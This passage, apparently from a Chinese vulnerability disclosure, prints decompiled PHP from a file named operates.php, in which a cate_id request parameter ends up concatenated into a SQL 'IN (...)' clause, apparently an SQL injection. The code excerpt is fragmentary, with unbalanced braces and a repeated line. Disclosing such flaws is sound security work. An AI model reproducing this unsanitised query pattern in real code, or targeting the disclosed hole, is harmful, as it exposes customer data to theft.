#2 先来说说真正的漏洞

漏洞文件



/client/cab/module/operates.php



代码如下（代码是Zend加密的，但是呢..）
 

if ( ACTION == "customer-export" )
{
$cate_id = gss( $_GET['cate_id'] ) ? gss( $_GET['cate_id'] ) : "-1";
if ( $cate_id )
{
$data_cache = $CAB->getCategoryByDomainID( $domain_id, 0 );
$where = "domain_id='".$domain_id."'";
if ( $cate_id == "-1" )
{
$cate_id = 0;
}
if ( $cate_id )
{
$Tree = $CAB->getTreeObject( );
$Tree->set_data_cache( $data_cache );
$Tree->sort_data( -1, 1 );
$cate_ids = $Tree->get_child_id( $cate_id );
$where .= " AND cate_id IN (".$cate_ids.")";
}
$customer_list = $CAB->get_customer( array(
"fields" => "*",
"where" => $where,
"debug" => 0
) );
$cate_list = create_array( $data_cache, "cate_id", "name" );

}
}
}
if ( get_session( "language" ) == "zh" )
{
$out_data = iconv( "UTF-8", "GBK", $string );
}
else
{

$where .= " AND cate_id IN (".$cate_ids.")";
